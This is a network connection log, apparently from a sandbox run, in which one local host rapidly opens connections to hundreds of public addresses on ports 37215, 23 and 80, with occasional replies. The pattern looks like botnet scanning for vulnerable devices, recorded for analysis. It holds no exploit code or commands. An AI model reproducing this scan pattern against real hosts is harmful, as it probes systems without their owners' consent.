Oct 14, 2024 17:34:11.865479946 CEST	29625	37215	192.168.2.14	197.219.176.32
Oct 14, 2024 17:34:11.865479946 CEST	29625	37215	192.168.2.14	41.154.4.182
Oct 14, 2024 17:34:11.865490913 CEST	29625	37215	192.168.2.14	197.10.162.213
Oct 14, 2024 17:34:11.865479946 CEST	29625	37215	192.168.2.14	41.182.241.115
Oct 14, 2024 17:34:11.865490913 CEST	29625	37215	192.168.2.14	156.71.185.75
Oct 14, 2024 17:34:11.865482092 CEST	29625	37215	192.168.2.14	197.147.42.47
Oct 14, 2024 17:34:11.865490913 CEST	29625	37215	192.168.2.14	41.225.17.227
Oct 14, 2024 17:34:11.865482092 CEST	29625	37215	192.168.2.14	156.162.182.22
Oct 14, 2024 17:34:11.865479946 CEST	29625	37215	192.168.2.14	197.232.9.44
Oct 14, 2024 17:34:11.865490913 CEST	29625	37215	192.168.2.14	41.254.209.207
Oct 14, 2024 17:34:11.865502119 CEST	29625	37215	192.168.2.14	41.39.8.59
Oct 14, 2024 17:34:11.865490913 CEST	29625	37215	192.168.2.14	197.187.123.124
Oct 14, 2024 17:34:11.865502119 CEST	29625	37215	192.168.2.14	41.36.254.142
Oct 14, 2024 17:34:11.865490913 CEST	29625	37215	192.168.2.14	41.217.40.235
Oct 14, 2024 17:34:11.865479946 CEST	29625	37215	192.168.2.14	41.235.44.37
Oct 14, 2024 17:34:11.865482092 CEST	29625	37215	192.168.2.14	156.154.129.153
Oct 14, 2024 17:34:11.865479946 CEST	29625	37215	192.168.2.14	41.51.162.94
Oct 14, 2024 17:34:11.865482092 CEST	29625	37215	192.168.2.14	41.235.149.50
Oct 14, 2024 17:34:11.865482092 CEST	29625	37215	192.168.2.14	156.69.185.81
Oct 14, 2024 17:34:11.865510941 CEST	29625	37215	192.168.2.14	197.32.130.143
Oct 14, 2024 17:34:11.865510941 CEST	29625	37215	192.168.2.14	41.149.116.105
Oct 14, 2024 17:34:11.865510941 CEST	29625	37215	192.168.2.14	41.71.219.237
Oct 14, 2024 17:34:11.865510941 CEST	29625	37215	192.168.2.14	197.211.94.192
Oct 14, 2024 17:34:11.865510941 CEST	29625	37215	192.168.2.14	197.155.115.156
Oct 14, 2024 17:34:11.865515947 CEST	29625	37215	192.168.2.14	156.240.112.210
Oct 14, 2024 17:34:11.865516901 CEST	29625	37215	192.168.2.14	41.137.128.194
Oct 14, 2024 17:34:11.865516901 CEST	29625	37215	192.168.2.14	156.81.98.162
Oct 14, 2024 17:34:11.865516901 CEST	29625	37215	192.168.2.14	156.89.246.78
Oct 14, 2024 17:34:11.865518093 CEST	29625	37215	192.168.2.14	156.224.218.108
Oct 14, 2024 17:34:11.865518093 CEST	29625	37215	192.168.2.14	41.1.246.239
Oct 14, 2024 17:34:11.865518093 CEST	29625	37215	192.168.2.14	156.106.31.80
Oct 14, 2024 17:34:11.865520000 CEST	29625	37215	192.168.2.14	41.158.71.27
Oct 14, 2024 17:34:11.865519047 CEST	29625	37215	192.168.2.14	41.72.87.145
Oct 14, 2024 17:34:11.865518093 CEST	29625	37215	192.168.2.14	156.39.221.241
Oct 14, 2024 17:34:11.865519047 CEST	29625	37215	192.168.2.14	41.215.246.63
Oct 14, 2024 17:34:11.865520000 CEST	29625	37215	192.168.2.14	41.242.34.48
Oct 14, 2024 17:34:11.865518093 CEST	29625	37215	192.168.2.14	156.243.207.223
Oct 14, 2024 17:34:11.865518093 CEST	29625	37215	192.168.2.14	41.133.146.205
Oct 14, 2024 17:34:11.865518093 CEST	29625	37215	192.168.2.14	41.116.48.64
Oct 14, 2024 17:34:11.865525007 CEST	29625	37215	192.168.2.14	156.4.7.158
Oct 14, 2024 17:34:11.865535975 CEST	29625	37215	192.168.2.14	156.238.32.111
Oct 14, 2024 17:34:11.865536928 CEST	29625	37215	192.168.2.14	156.4.227.2
Oct 14, 2024 17:34:11.865536928 CEST	29625	37215	192.168.2.14	156.104.211.185
Oct 14, 2024 17:34:11.865536928 CEST	29625	37215	192.168.2.14	197.18.133.58
Oct 14, 2024 17:34:11.865536928 CEST	29625	37215	192.168.2.14	41.143.148.126
Oct 14, 2024 17:34:11.865565062 CEST	29625	37215	192.168.2.14	41.232.208.219
Oct 14, 2024 17:34:11.865565062 CEST	29625	37215	192.168.2.14	41.159.106.92
Oct 14, 2024 17:34:11.865565062 CEST	29625	37215	192.168.2.14	156.136.85.103
Oct 14, 2024 17:34:11.865565062 CEST	29625	37215	192.168.2.14	156.0.208.102
Oct 14, 2024 17:34:11.865566969 CEST	29625	37215	192.168.2.14	156.143.181.64
Oct 14, 2024 17:34:11.865566969 CEST	29625	37215	192.168.2.14	156.210.244.255
Oct 14, 2024 17:34:11.865567923 CEST	29625	37215	192.168.2.14	197.149.186.11
Oct 14, 2024 17:34:11.865566969 CEST	29625	37215	192.168.2.14	156.133.254.215
Oct 14, 2024 17:34:11.865566969 CEST	29625	37215	192.168.2.14	197.27.140.122
Oct 14, 2024 17:34:11.865567923 CEST	29625	37215	192.168.2.14	156.116.167.235
Oct 14, 2024 17:34:11.865567923 CEST	29625	37215	192.168.2.14	197.250.184.39
Oct 14, 2024 17:34:11.865567923 CEST	29625	37215	192.168.2.14	156.87.55.31
Oct 14, 2024 17:34:11.865566969 CEST	29625	37215	192.168.2.14	41.69.44.204
Oct 14, 2024 17:34:11.865567923 CEST	29625	37215	192.168.2.14	197.56.235.203
Oct 14, 2024 17:34:11.865567923 CEST	29625	37215	192.168.2.14	41.255.214.223
Oct 14, 2024 17:34:11.865567923 CEST	29625	37215	192.168.2.14	41.53.4.24
Oct 14, 2024 17:34:11.865567923 CEST	29625	37215	192.168.2.14	156.87.171.194
Oct 14, 2024 17:34:11.865567923 CEST	29625	37215	192.168.2.14	156.76.97.143
Oct 14, 2024 17:34:11.865566969 CEST	29625	37215	192.168.2.14	156.148.212.73
Oct 14, 2024 17:34:11.865581036 CEST	29625	37215	192.168.2.14	197.135.14.206
Oct 14, 2024 17:34:11.865566969 CEST	29625	37215	192.168.2.14	197.27.7.112
Oct 14, 2024 17:34:11.865567923 CEST	29625	37215	192.168.2.14	197.62.231.217
Oct 14, 2024 17:34:11.865567923 CEST	29625	37215	192.168.2.14	156.80.211.216
Oct 14, 2024 17:34:11.865585089 CEST	29625	37215	192.168.2.14	156.33.78.25
Oct 14, 2024 17:34:11.865585089 CEST	29625	37215	192.168.2.14	41.86.118.9
Oct 14, 2024 17:34:11.865585089 CEST	29625	37215	192.168.2.14	197.53.124.187
Oct 14, 2024 17:34:11.865585089 CEST	29625	37215	192.168.2.14	41.19.173.52
Oct 14, 2024 17:34:11.865586996 CEST	29625	37215	192.168.2.14	197.86.105.36
Oct 14, 2024 17:34:11.865585089 CEST	29625	37215	192.168.2.14	156.54.98.142
Oct 14, 2024 17:34:11.865588903 CEST	29625	37215	192.168.2.14	41.186.208.8
Oct 14, 2024 17:34:11.865586996 CEST	29625	37215	192.168.2.14	197.202.45.35
Oct 14, 2024 17:34:11.865588903 CEST	29625	37215	192.168.2.14	41.120.27.91
Oct 14, 2024 17:34:11.865586042 CEST	29625	37215	192.168.2.14	197.106.5.89
Oct 14, 2024 17:34:11.865591049 CEST	29625	37215	192.168.2.14	156.11.7.226
Oct 14, 2024 17:34:11.865588903 CEST	29625	37215	192.168.2.14	197.151.124.2
Oct 14, 2024 17:34:11.865585089 CEST	29625	37215	192.168.2.14	156.176.168.149
Oct 14, 2024 17:34:11.865590096 CEST	29625	37215	192.168.2.14	41.148.30.224
Oct 14, 2024 17:34:11.865591049 CEST	29625	37215	192.168.2.14	41.151.8.160
Oct 14, 2024 17:34:11.865590096 CEST	29625	37215	192.168.2.14	156.85.49.7
Oct 14, 2024 17:34:11.865585089 CEST	29625	37215	192.168.2.14	156.141.67.103
Oct 14, 2024 17:34:11.865597010 CEST	29625	37215	192.168.2.14	197.198.219.198
Oct 14, 2024 17:34:11.865585089 CEST	29625	37215	192.168.2.14	197.251.152.122
Oct 14, 2024 17:34:11.865585089 CEST	29625	37215	192.168.2.14	197.54.139.29
Oct 14, 2024 17:34:11.865585089 CEST	29625	37215	192.168.2.14	156.22.189.199
Oct 14, 2024 17:34:11.865603924 CEST	29625	37215	192.168.2.14	41.41.81.14
Oct 14, 2024 17:34:11.865607023 CEST	29625	37215	192.168.2.14	41.72.51.173
Oct 14, 2024 17:34:11.865607023 CEST	29625	37215	192.168.2.14	156.168.10.240
Oct 14, 2024 17:34:11.865607977 CEST	29625	37215	192.168.2.14	41.178.200.239
Oct 14, 2024 17:34:11.865619898 CEST	29625	37215	192.168.2.14	41.105.18.240
Oct 14, 2024 17:34:11.865619898 CEST	29625	37215	192.168.2.14	41.127.16.17
Oct 14, 2024 17:34:11.865673065 CEST	29625	37215	192.168.2.14	156.36.24.92
Oct 14, 2024 17:34:11.865689039 CEST	29625	37215	192.168.2.14	197.220.84.161
Oct 14, 2024 17:34:11.865689039 CEST	29625	37215	192.168.2.14	156.201.154.184
Oct 14, 2024 17:34:11.865699053 CEST	29625	37215	192.168.2.14	41.74.9.252
Oct 14, 2024 17:34:11.865699053 CEST	29625	37215	192.168.2.14	156.35.77.196
Oct 14, 2024 17:34:11.865699053 CEST	29625	37215	192.168.2.14	156.183.244.21
Oct 14, 2024 17:34:11.865699053 CEST	29625	37215	192.168.2.14	197.188.247.122
Oct 14, 2024 17:34:11.865699053 CEST	29625	37215	192.168.2.14	197.199.215.14
Oct 14, 2024 17:34:11.865699053 CEST	29625	37215	192.168.2.14	197.250.224.235
Oct 14, 2024 17:34:11.865700006 CEST	29625	37215	192.168.2.14	197.235.227.115
Oct 14, 2024 17:34:11.865700960 CEST	29625	37215	192.168.2.14	197.5.106.98
Oct 14, 2024 17:34:11.865700960 CEST	29625	37215	192.168.2.14	197.30.186.75
Oct 14, 2024 17:34:11.865720987 CEST	29625	37215	192.168.2.14	197.81.216.195
Oct 14, 2024 17:34:11.865720987 CEST	29625	37215	192.168.2.14	41.148.215.72
Oct 14, 2024 17:34:11.865721941 CEST	29625	37215	192.168.2.14	41.210.118.71
Oct 14, 2024 17:34:11.865721941 CEST	29625	37215	192.168.2.14	156.108.251.155
Oct 14, 2024 17:34:11.865721941 CEST	29625	37215	192.168.2.14	41.70.109.228
Oct 14, 2024 17:34:11.865721941 CEST	29625	37215	192.168.2.14	156.171.121.183
Oct 14, 2024 17:34:11.865739107 CEST	29625	37215	192.168.2.14	197.127.155.52
Oct 14, 2024 17:34:11.865739107 CEST	29625	37215	192.168.2.14	156.84.214.179
Oct 14, 2024 17:34:11.865742922 CEST	29625	37215	192.168.2.14	197.137.10.185
Oct 14, 2024 17:34:11.865742922 CEST	29625	37215	192.168.2.14	156.171.102.247
Oct 14, 2024 17:34:11.865745068 CEST	29625	37215	192.168.2.14	197.26.187.200
Oct 14, 2024 17:34:11.865745068 CEST	29625	37215	192.168.2.14	156.125.155.201
Oct 14, 2024 17:34:11.865746975 CEST	29625	37215	192.168.2.14	197.164.127.185
Oct 14, 2024 17:34:11.865746975 CEST	29625	37215	192.168.2.14	197.106.11.182
Oct 14, 2024 17:34:11.865747929 CEST	29625	37215	192.168.2.14	197.204.14.49
Oct 14, 2024 17:34:11.865746975 CEST	29625	37215	192.168.2.14	156.51.167.211
Oct 14, 2024 17:34:11.865748882 CEST	29625	37215	192.168.2.14	197.38.103.228
Oct 14, 2024 17:34:11.865746975 CEST	29625	37215	192.168.2.14	197.18.44.175
Oct 14, 2024 17:34:11.865748882 CEST	29625	37215	192.168.2.14	156.30.191.138
Oct 14, 2024 17:34:11.865746975 CEST	29625	37215	192.168.2.14	41.117.103.51
Oct 14, 2024 17:34:11.865748882 CEST	29625	37215	192.168.2.14	197.121.120.180
Oct 14, 2024 17:34:11.865762949 CEST	29625	37215	192.168.2.14	41.37.41.232
Oct 14, 2024 17:34:11.865762949 CEST	29625	37215	192.168.2.14	197.25.133.86
Oct 14, 2024 17:34:11.865762949 CEST	29625	37215	192.168.2.14	197.224.246.145
Oct 14, 2024 17:34:11.865763903 CEST	29625	37215	192.168.2.14	197.175.89.97
Oct 14, 2024 17:34:11.865776062 CEST	29625	37215	192.168.2.14	156.88.240.94
Oct 14, 2024 17:34:11.865777016 CEST	29625	37215	192.168.2.14	197.86.137.186
Oct 14, 2024 17:34:11.865777016 CEST	29625	37215	192.168.2.14	41.198.29.223
Oct 14, 2024 17:34:11.865780115 CEST	29625	37215	192.168.2.14	156.73.36.60
Oct 14, 2024 17:34:11.865780115 CEST	29625	37215	192.168.2.14	197.157.75.223
Oct 14, 2024 17:34:11.865780115 CEST	29625	37215	192.168.2.14	156.112.163.65
Oct 14, 2024 17:34:11.865780115 CEST	29625	37215	192.168.2.14	41.167.66.119
Oct 14, 2024 17:34:11.865780115 CEST	29625	37215	192.168.2.14	197.55.241.73
Oct 14, 2024 17:34:11.865780115 CEST	29625	37215	192.168.2.14	197.222.223.151
Oct 14, 2024 17:34:11.865782022 CEST	29625	37215	192.168.2.14	41.47.67.40
Oct 14, 2024 17:34:11.865782022 CEST	29625	37215	192.168.2.14	156.181.24.140
Oct 14, 2024 17:34:11.865782022 CEST	29625	37215	192.168.2.14	41.232.41.124
Oct 14, 2024 17:34:11.865782022 CEST	29625	37215	192.168.2.14	41.45.171.42
Oct 14, 2024 17:34:11.865782022 CEST	29625	37215	192.168.2.14	197.213.159.254
Oct 14, 2024 17:34:11.865783930 CEST	29625	37215	192.168.2.14	156.190.6.5
Oct 14, 2024 17:34:11.865782022 CEST	29625	37215	192.168.2.14	156.171.231.98
Oct 14, 2024 17:34:11.865783930 CEST	29625	37215	192.168.2.14	41.41.131.74
Oct 14, 2024 17:34:11.865782022 CEST	29625	37215	192.168.2.14	197.238.22.243
Oct 14, 2024 17:34:11.865782022 CEST	29625	37215	192.168.2.14	41.15.228.98
Oct 14, 2024 17:34:11.865793943 CEST	29625	37215	192.168.2.14	156.77.184.189
Oct 14, 2024 17:34:11.865794897 CEST	29625	37215	192.168.2.14	156.182.242.44
Oct 14, 2024 17:34:11.865794897 CEST	29625	37215	192.168.2.14	197.222.158.233
Oct 14, 2024 17:34:11.865818977 CEST	29625	37215	192.168.2.14	156.13.209.45
Oct 14, 2024 17:34:11.865818977 CEST	29625	37215	192.168.2.14	41.48.191.160
Oct 14, 2024 17:34:11.865818977 CEST	29625	37215	192.168.2.14	41.138.69.0
Oct 14, 2024 17:34:11.865820885 CEST	29625	37215	192.168.2.14	41.175.15.49
Oct 14, 2024 17:34:11.865820885 CEST	29625	37215	192.168.2.14	197.15.84.102
Oct 14, 2024 17:34:11.865820885 CEST	29625	37215	192.168.2.14	156.96.102.106
Oct 14, 2024 17:34:11.865820885 CEST	29625	37215	192.168.2.14	197.87.196.158
Oct 14, 2024 17:34:11.865822077 CEST	29625	37215	192.168.2.14	41.76.31.147
Oct 14, 2024 17:34:11.865820885 CEST	29625	37215	192.168.2.14	41.198.104.31
Oct 14, 2024 17:34:11.865822077 CEST	29625	37215	192.168.2.14	41.251.192.149
Oct 14, 2024 17:34:11.865820885 CEST	29625	37215	192.168.2.14	197.106.122.2
Oct 14, 2024 17:34:11.865822077 CEST	29625	37215	192.168.2.14	41.75.92.61
Oct 14, 2024 17:34:11.865822077 CEST	29625	37215	192.168.2.14	156.221.77.130
Oct 14, 2024 17:34:11.865822077 CEST	29625	37215	192.168.2.14	41.136.173.51
Oct 14, 2024 17:34:11.865822077 CEST	29625	37215	192.168.2.14	197.44.191.133
Oct 14, 2024 17:34:11.865842104 CEST	29625	37215	192.168.2.14	197.38.173.186
Oct 14, 2024 17:34:11.865859985 CEST	29625	37215	192.168.2.14	41.248.97.185
Oct 14, 2024 17:34:11.865864992 CEST	29625	37215	192.168.2.14	197.204.140.39
Oct 14, 2024 17:34:11.865865946 CEST	29625	37215	192.168.2.14	197.136.111.133
Oct 14, 2024 17:34:11.865866899 CEST	29625	37215	192.168.2.14	197.209.152.211
Oct 14, 2024 17:34:11.865865946 CEST	29625	37215	192.168.2.14	156.51.51.143
Oct 14, 2024 17:34:11.865884066 CEST	29625	37215	192.168.2.14	41.253.243.167
Oct 14, 2024 17:34:11.865896940 CEST	29625	37215	192.168.2.14	197.204.39.133
Oct 14, 2024 17:34:11.865897894 CEST	29625	37215	192.168.2.14	156.200.162.150
Oct 14, 2024 17:34:11.866765022 CEST	54954	80	192.168.2.14	131.156.38.106
Oct 14, 2024 17:34:11.867335081 CEST	57900	37215	192.168.2.14	197.84.254.99
Oct 14, 2024 17:34:11.867693901 CEST	58002	23	192.168.2.14	111.31.238.180
Oct 14, 2024 17:34:11.869513035 CEST	54174	80	192.168.2.14	80.16.214.233
Oct 14, 2024 17:34:11.870852947 CEST	40794	23	192.168.2.14	157.110.25.255
Oct 14, 2024 17:34:11.870985031 CEST	48818	37215	192.168.2.14	156.8.22.233
Oct 14, 2024 17:34:11.872997999 CEST	36040	80	192.168.2.14	115.173.179.104
Oct 14, 2024 17:34:11.873806000 CEST	52642	37215	192.168.2.14	41.117.115.104
Oct 14, 2024 17:34:11.874217033 CEST	37854	23	192.168.2.14	9.11.142.153
Oct 14, 2024 17:34:11.875613928 CEST	41770	80	192.168.2.14	18.28.241.145
Oct 14, 2024 17:34:11.877470016 CEST	54550	23	192.168.2.14	42.20.65.5
Oct 14, 2024 17:34:11.877556086 CEST	55316	37215	192.168.2.14	156.78.111.135
Oct 14, 2024 17:34:11.877832890 CEST	80	36040	115.173.179.104	192.168.2.14
Oct 14, 2024 17:34:11.877888918 CEST	36040	80	192.168.2.14	115.173.179.104
Oct 14, 2024 17:34:11.880006075 CEST	46556	80	192.168.2.14	69.163.97.129
Oct 14, 2024 17:34:11.880700111 CEST	48132	37215	192.168.2.14	156.239.18.206
Oct 14, 2024 17:34:11.881257057 CEST	41576	23	192.168.2.14	109.26.247.117
Oct 14, 2024 17:34:11.882548094 CEST	47576	80	192.168.2.14	12.12.20.232
Oct 14, 2024 17:34:11.883847952 CEST	42304	23	192.168.2.14	130.85.147.157
Oct 14, 2024 17:34:11.883925915 CEST	34852	37215	192.168.2.14	197.7.119.78
Oct 14, 2024 17:34:11.884896994 CEST	80	46556	69.163.97.129	192.168.2.14
Oct 14, 2024 17:34:11.884942055 CEST	46556	80	192.168.2.14	69.163.97.129
Oct 14, 2024 17:34:11.886002064 CEST	43702	80	192.168.2.14	102.134.111.181
Oct 14, 2024 17:34:11.887011051 CEST	53696	37215	192.168.2.14	197.153.240.99
Oct 14, 2024 17:34:11.887489080 CEST	39172	23	192.168.2.14	74.244.67.116
Oct 14, 2024 17:34:11.889441013 CEST	55724	80	192.168.2.14	104.242.129.6
Oct 14, 2024 17:34:11.890786886 CEST	32938	37215	192.168.2.14	197.46.116.92
Oct 14, 2024 17:34:11.891413927 CEST	38456	23	192.168.2.14	80.7.137.223
Oct 14, 2024 17:34:11.892736912 CEST	38796	80	192.168.2.14	173.186.167.2
Oct 14, 2024 17:34:11.893455029 CEST	41902	37215	192.168.2.14	197.29.138.176
Oct 14, 2024 17:34:11.894773960 CEST	37084	23	192.168.2.14	115.176.146.139
Oct 14, 2024 17:34:11.895319939 CEST	52796	80	192.168.2.14	128.92.16.60
Oct 14, 2024 17:34:11.896668911 CEST	40240	37215	192.168.2.14	41.139.171.186
Oct 14, 2024 17:34:11.897027969 CEST	23	38456	80.7.137.223	192.168.2.14
Oct 14, 2024 17:34:11.897073984 CEST	38456	23	192.168.2.14	80.7.137.223
Oct 14, 2024 17:34:11.897881985 CEST	51316	23	192.168.2.14	112.141.62.211
Oct 14, 2024 17:34:11.898371935 CEST	46922	80	192.168.2.14	163.210.11.220
Oct 14, 2024 17:34:11.899142027 CEST	45388	37215	192.168.2.14	197.98.247.38
Oct 14, 2024 17:34:11.900511026 CEST	40922	23	192.168.2.14	209.15.241.119
Oct 14, 2024 17:34:11.901019096 CEST	60268	80	192.168.2.14	18.37.19.186
Oct 14, 2024 17:34:11.902390003 CEST	39054	37215	192.168.2.14	197.139.167.177
Oct 14, 2024 17:34:11.903687954 CEST	36810	23	192.168.2.14	109.70.21.22
Oct 14, 2024 17:34:11.904184103 CEST	40506	80	192.168.2.14	81.242.26.186
Oct 14, 2024 17:34:11.904889107 CEST	37134	37215	192.168.2.14	41.159.121.25
Oct 14, 2024 17:34:11.905946016 CEST	23	40922	209.15.241.119	192.168.2.14
Oct 14, 2024 17:34:11.906016111 CEST	40922	23	192.168.2.14	209.15.241.119
Oct 14, 2024 17:34:11.906373024 CEST	55566	80	192.168.2.14	89.21.126.116
Oct 14, 2024 17:34:11.906516075 CEST	38930	23	192.168.2.14	141.60.192.210
Oct 14, 2024 17:34:11.907598019 CEST	44160	37215	192.168.2.14	41.49.32.181
Oct 14, 2024 17:34:11.909454107 CEST	46272	80	192.168.2.14	87.197.76.211
Oct 14, 2024 17:34:11.909785986 CEST	45064	23	192.168.2.14	123.6.9.89
Oct 14, 2024 17:34:11.910139084 CEST	47448	37215	192.168.2.14	41.66.222.121
Oct 14, 2024 17:34:11.911983013 CEST	48092	80	192.168.2.14	2.17.128.182
Oct 14, 2024 17:34:11.912318945 CEST	40956	23	192.168.2.14	180.246.180.20
Oct 14, 2024 17:34:11.913147926 CEST	34244	37215	192.168.2.14	41.156.103.248
Oct 14, 2024 17:34:11.915083885 CEST	55936	80	192.168.2.14	194.123.231.244
Oct 14, 2024 17:34:11.915354967 CEST	52210	23	192.168.2.14	125.187.27.4
Oct 14, 2024 17:34:11.916485071 CEST	46494	37215	192.168.2.14	197.245.188.186
Oct 14, 2024 17:34:11.917143106 CEST	80	48092	2.17.128.182	192.168.2.14
Oct 14, 2024 17:34:11.917212009 CEST	48092	80	192.168.2.14	2.17.128.182
Oct 14, 2024 17:34:11.918248892 CEST	43620	80	192.168.2.14	27.156.152.253
Oct 14, 2024 17:34:11.918498039 CEST	38064	23	192.168.2.14	161.2.253.239
Oct 14, 2024 17:34:11.920164108 CEST	59924	37215	192.168.2.14	197.52.94.232
Oct 14, 2024 17:34:11.921188116 CEST	49244	80	192.168.2.14	193.14.240.77
Oct 14, 2024 17:34:11.921638966 CEST	38200	23	192.168.2.14	182.127.61.41
Oct 14, 2024 17:34:11.923502922 CEST	41838	37215	192.168.2.14	156.9.213.58
Oct 14, 2024 17:34:11.923908949 CEST	47612	80	192.168.2.14	4.20.103.182
Oct 14, 2024 17:34:11.924170017 CEST	46692	23	192.168.2.14	8.206.158.60
Oct 14, 2024 17:34:11.925060987 CEST	37215	59924	197.52.94.232	192.168.2.14
Oct 14, 2024 17:34:11.925133944 CEST	59924	37215	192.168.2.14	197.52.94.232
Oct 14, 2024 17:34:11.926352978 CEST	57482	37215	192.168.2.14	156.167.4.14
Oct 14, 2024 17:34:11.926522017 CEST	39028	80	192.168.2.14	189.202.27.135
Oct 14, 2024 17:34:11.926743984 CEST	41462	23	192.168.2.14	130.154.46.26
Oct 14, 2024 17:34:11.928824902 CEST	38466	80	192.168.2.14	130.144.228.118
Oct 14, 2024 17:34:11.929155111 CEST	39368	37215	192.168.2.14	197.106.26.143
Oct 14, 2024 17:34:11.929704905 CEST	39242	23	192.168.2.14	14.241.193.130
Oct 14, 2024 17:34:11.932305098 CEST	42858	37215	192.168.2.14	197.129.129.87
Oct 14, 2024 17:34:11.932498932 CEST	42304	80	192.168.2.14	187.120.252.183
Oct 14, 2024 17:34:11.933140993 CEST	49854	23	192.168.2.14	18.50.206.178
Oct 14, 2024 17:34:11.935316086 CEST	32814	80	192.168.2.14	188.147.252.5
Oct 14, 2024 17:34:11.935748100 CEST	54270	37215	192.168.2.14	156.56.88.39
Oct 14, 2024 17:34:11.936160088 CEST	37908	23	192.168.2.14	82.31.29.255
Oct 14, 2024 17:34:11.937128067 CEST	37215	42858	197.129.129.87	192.168.2.14
Oct 14, 2024 17:34:11.937170982 CEST	42858	37215	192.168.2.14	197.129.129.87
Oct 14, 2024 17:34:11.937896013 CEST	44114	80	192.168.2.14	205.180.95.44
Oct 14, 2024 17:34:11.938393116 CEST	39794	37215	192.168.2.14	156.151.132.197
Oct 14, 2024 17:34:11.938940048 CEST	51708	23	192.168.2.14	201.81.60.236
Oct 14, 2024 17:34:11.940423012 CEST	35452	80	192.168.2.14	211.76.58.110
Oct 14, 2024 17:34:11.941664934 CEST	59872	23	192.168.2.14	18.200.80.120
Oct 14, 2024 17:34:11.941749096 CEST	57150	37215	192.168.2.14	41.149.40.114
Oct 14, 2024 17:34:11.943993092 CEST	50850	80	192.168.2.14	173.184.66.231
Oct 14, 2024 17:34:11.945456982 CEST	58412	23	192.168.2.14	159.62.157.90
Oct 14, 2024 17:34:11.945502043 CEST	80	35452	211.76.58.110	192.168.2.14
Oct 14, 2024 17:34:11.945661068 CEST	35452	80	192.168.2.14	211.76.58.110
Oct 14, 2024 17:34:11.945796967 CEST	59018	37215	192.168.2.14	41.24.42.129
Oct 14, 2024 17:34:11.947212934 CEST	37464	80	192.168.2.14	159.54.76.10
Oct 14, 2024 17:34:11.948353052 CEST	54708	23	192.168.2.14	58.237.142.177
Oct 14, 2024 17:34:11.949276924 CEST	58898	37215	192.168.2.14	41.204.146.139
Oct 14, 2024 17:34:11.950408936 CEST	45896	80	192.168.2.14	162.93.214.216
Oct 14, 2024 17:34:11.951437950 CEST	53304	23	192.168.2.14	105.158.10.61
Oct 14, 2024 17:34:11.952701092 CEST	42906	37215	192.168.2.14	197.50.50.50
Oct 14, 2024 17:34:11.953052998 CEST	55448	80	192.168.2.14	74.161.242.25
Oct 14, 2024 17:34:11.955015898 CEST	40730	37215	192.168.2.14	197.66.116.67
Oct 14, 2024 17:34:11.955353022 CEST	53084	80	192.168.2.14	134.118.16.121
Oct 14, 2024 17:34:11.956233978 CEST	23	53304	105.158.10.61	192.168.2.14
Oct 14, 2024 17:34:11.956275940 CEST	53304	23	192.168.2.14	105.158.10.61
Oct 14, 2024 17:34:11.956825972 CEST	55906	37215	192.168.2.14	197.83.160.66
Oct 14, 2024 17:34:11.957042933 CEST	43954	80	192.168.2.14	59.97.134.93
Oct 14, 2024 17:34:11.959403992 CEST	38100	80	192.168.2.14	115.51.250.229
Oct 14, 2024 17:34:11.959593058 CEST	50428	37215	192.168.2.14	41.214.67.227
Oct 14, 2024 17:34:11.961895943 CEST	39088	80	192.168.2.14	78.42.72.124
Oct 14, 2024 17:34:11.962516069 CEST	48562	37215	192.168.2.14	156.250.109.164
Oct 14, 2024 17:34:11.964195013 CEST	80	38100	115.51.250.229	192.168.2.14
Oct 14, 2024 17:34:11.964196920 CEST	51738	80	192.168.2.14	121.0.227.65
Oct 14, 2024 17:34:11.964236021 CEST	38100	80	192.168.2.14	115.51.250.229
Oct 14, 2024 17:34:11.965070963 CEST	42188	37215	192.168.2.14	156.26.138.86
Oct 14, 2024 17:34:11.966448069 CEST	56350	80	192.168.2.14	112.247.197.61
Oct 14, 2024 17:34:11.967348099 CEST	44918	37215	192.168.2.14	156.49.31.7
Oct 14, 2024 17:34:11.968197107 CEST	58110	80	192.168.2.14	112.182.1.223
Oct 14, 2024 17:34:11.969058990 CEST	36180	23	192.168.2.14	95.183.143.178
Oct 14, 2024 17:34:11.970017910 CEST	55026	37215	192.168.2.14	41.135.128.225
Oct 14, 2024 17:34:11.971146107 CEST	36676	80	192.168.2.14	76.233.57.173
Oct 14, 2024 17:34:11.972419024 CEST	60584	23	192.168.2.14	82.242.36.28
Oct 14, 2024 17:34:11.973287106 CEST	36580	37215	192.168.2.14	197.174.29.102
Oct 14, 2024 17:34:11.973648071 CEST	34220	80	192.168.2.14	62.158.153.79
Oct 14, 2024 17:34:11.975344896 CEST	56474	23	192.168.2.14	140.123.108.122
Oct 14, 2024 17:34:11.976389885 CEST	55980	37215	192.168.2.14	197.255.55.238
Oct 14, 2024 17:34:11.976622105 CEST	44204	80	192.168.2.14	5.143.12.228
Oct 14, 2024 17:34:11.977803946 CEST	44738	23	192.168.2.14	133.122.153.90
Oct 14, 2024 17:34:11.977937937 CEST	23	60584	82.242.36.28	192.168.2.14
Oct 14, 2024 17:34:11.978024006 CEST	60584	23	192.168.2.14	82.242.36.28
Oct 14, 2024 17:34:11.979300976 CEST	51160	37215	192.168.2.14	156.152.71.59
Oct 14, 2024 17:34:11.979605913 CEST	40468	80	192.168.2.14	68.165.240.71
Oct 14, 2024 17:34:11.982515097 CEST	52578	23	192.168.2.14	145.137.105.15
Oct 14, 2024 17:34:11.983644962 CEST	45636	37215	192.168.2.14	197.92.93.219
Oct 14, 2024 17:34:11.983757973 CEST	34780	80	192.168.2.14	110.104.117.231
Oct 14, 2024 17:34:11.984443903 CEST	80	40468	68.165.240.71	192.168.2.14
Oct 14, 2024 17:34:11.984503984 CEST	40468	80	192.168.2.14	68.165.240.71
Oct 14, 2024 17:34:11.984955072 CEST	60468	23	192.168.2.14	114.17.11.53
Oct 14, 2024 17:34:11.986768961 CEST	44456	80	192.168.2.14	118.39.183.38
Oct 14, 2024 17:34:11.987360954 CEST	35060	37215	192.168.2.14	156.33.129.230
Oct 14, 2024 17:34:11.989087105 CEST	43482	23	192.168.2.14	155.60.53.23
Oct 14, 2024 17:34:11.991491079 CEST	40952	37215	192.168.2.14	197.56.115.214
Oct 14, 2024 17:34:11.991616964 CEST	47468	80	192.168.2.14	181.149.65.97
Oct 14, 2024 17:34:11.993674040 CEST	37366	23	192.168.2.14	49.233.47.69
Oct 14, 2024 17:34:11.994772911 CEST	50962	80	192.168.2.14	160.127.65.236
Oct 14, 2024 17:34:11.995306015 CEST	35148	37215	192.168.2.14	156.80.33.71
Oct 14, 2024 17:34:11.997308969 CEST	42168	23	192.168.2.14	174.59.244.233
Oct 14, 2024 17:34:11.997446060 CEST	37215	40952	197.56.115.214	192.168.2.14
Oct 14, 2024 17:34:11.997489929 CEST	40952	37215	192.168.2.14	197.56.115.214
